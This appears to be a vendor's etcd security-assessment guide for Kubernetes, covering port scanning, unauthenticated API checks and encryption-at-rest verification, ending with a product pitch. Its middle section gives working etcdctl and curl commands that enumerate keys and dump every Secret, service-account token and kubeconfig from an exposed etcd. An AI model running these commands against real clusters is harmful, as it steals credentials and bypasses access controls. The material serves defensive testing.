etcd is the distributed key-value store that backs every Kubernetes cluster — it holds all cluster state including Secrets, ConfigMaps, ServiceAccounts, RBAC policies, and kubeconfig data. An exposed or misconfigured etcd is a complete Kubernetes cluster compromise: an attacker who can read etcd gets every Secret in plaintext (Kubernetes base64-encodes but does not encrypt Secrets by default) and can write arbitrary objects to bypass RBAC entirely. This guide covers the systematic etcd security assessment process from network exposure through peer authentication, snapshot security, and encryption-at-rest verification.
# etcd client API: port 2379 (HTTP or HTTPS)
# etcd peer communication: port 2380 (HTTP or HTTPS)
# Both should NEVER be accessible outside the control plane nodes
# Scan for exposed etcd
nmap -sV -p 2379,2380 --open TARGET-NETWORK/24 2>/dev/null | grep -A3 "open"
# Test HTTP (unauthenticated) endpoint
curl -s http://etcd.example.com:2379/health 2>/dev/null
# {"health":"true"} = etcd accessible over HTTP without auth = critical
# Test HTTPS without client cert (should fail with 400 Bad Request or cert required)
curl -s https://etcd.example.com:2379/health --insecure 2>/dev/null
# If returns {"health":"true"}: TLS without mutual auth = still exploitable
# Check etcd version (useful for CVE research)
curl -s http://etcd.example.com:2379/version 2>/dev/null | python3 -m json.tool
# etcd v3 API (default for Kubernetes)
# Using etcdctl client tool against an unauthenticated endpoint
export ETCDCTL_API=3
export ETCDCTL_ENDPOINTS="http://etcd.example.com:2379"
# Test basic connectivity
etcdctl endpoint health 2>/dev/null
# "etcd.example.com:2379 is healthy" = accessible
# List ALL keys in the etcd cluster
etcdctl get / --prefix --keys-only 2>/dev/null | head -50
# Get all Kubernetes secrets (stored under /registry/secrets/)
etcdctl get /registry/secrets/ --prefix --keys-only 2>/dev/null | \
awk '{print}' | head -30
# Output: /registry/secrets/NAMESPACE/SECRET-NAME
# Get all keys in the entire cluster
etcdctl get "" --prefix --keys-only 2>/dev/null | wc -l
# Should return 0 if auth is required; hundreds/thousands if accessible
# etcd v2 API (older clusters, still present in some managed K8s)
curl -s http://etcd.example.com:2379/v2/keys/?recursive=true 2>/dev/null | \
python3 -c "
import json,sys
try:
r = json.load(sys.stdin)
nodes = r.get('node',{}).get('nodes',[])
print(f'Top-level keys: {len(nodes)}')
for n in nodes[:10]:
print(f' {n.get(\"key\",\"?\")}')
except:
print('Failed or auth required')
"
# Kubernetes stores Secrets base64-encoded in etcd (NOT encrypted unless KMS configured)
# Reading a Secret from etcd bypasses RBAC entirely
export ETCDCTL_API=3
# Get a specific Kubernetes Secret from etcd
etcdctl get /registry/secrets/kube-system/bootstrap-token-xxxxxx \
--print-value-only 2>/dev/null | \
python3 -c "
import sys
data = sys.stdin.buffer.read()
# etcd stores K8s objects as protobuf-encoded bytes
# Look for readable strings within the binary data
import re
strings = re.findall(b'[\\x20-\\x7e]{6,}', data)
for s in strings:
print(s.decode('utf-8', errors='replace'))
"
# More targeted: dump all secrets across all namespaces
for key in $(etcdctl get /registry/secrets/ --prefix --keys-only 2>/dev/null); do
echo "=== $key ==="
etcdctl get "$key" --print-value-only 2>/dev/null | \
strings | grep -vE "^\s*$" | head -20
done 2>/dev/null
# Get ServiceAccount tokens (these grant cluster API access)
etcdctl get /registry/secrets/ --prefix --keys-only 2>/dev/null | \
grep "kubernetes.io/service-account-token" | head -5
# Get kubeconfig secrets (often stored by CI/CD tooling)
etcdctl get /registry/secrets/ --prefix --keys-only 2>/dev/null | \
grep -iE "kubeconfig|cluster-admin|bootstrap" | head -10
--client-cert-auth=true, --peer-client-cert-auth=trueEncryptionConfiguration with AES-GCM or KMS provider for Secretsetcdctl snapshot save/registry/secrets/ and /registry/serviceaccounts/| Security Test | Method | Risk |
|---|---|---|
| etcd port 2379 accessible from pod network | curl/etcdctl from a pod against control plane IP | Critical |
| HTTP API without TLS | curl http://etcd:2379/health returns success | Critical |
| TLS without mutual auth (no client cert required) | curl https://etcd:2379/health --insecure succeeds | Critical |
| Kubernetes Secrets not encrypted at rest | etcdctl get /registry/secrets/ns/name — readable strings | High |
| etcd snapshot accessible without auth | etcdctl snapshot save — check if permitted without cert | High |
| Peer port 2380 exposed beyond control plane | curl/nmap port 2380 from outside control plane subnet | High |
Ironimo tests etcd deployments for network exposure, unauthenticated client API access, mTLS misconfiguration, encryption-at-rest gaps, peer authentication bypass, and snapshot security — covering the complete etcd attack surface that underlies every Kubernetes cluster.
Start free scan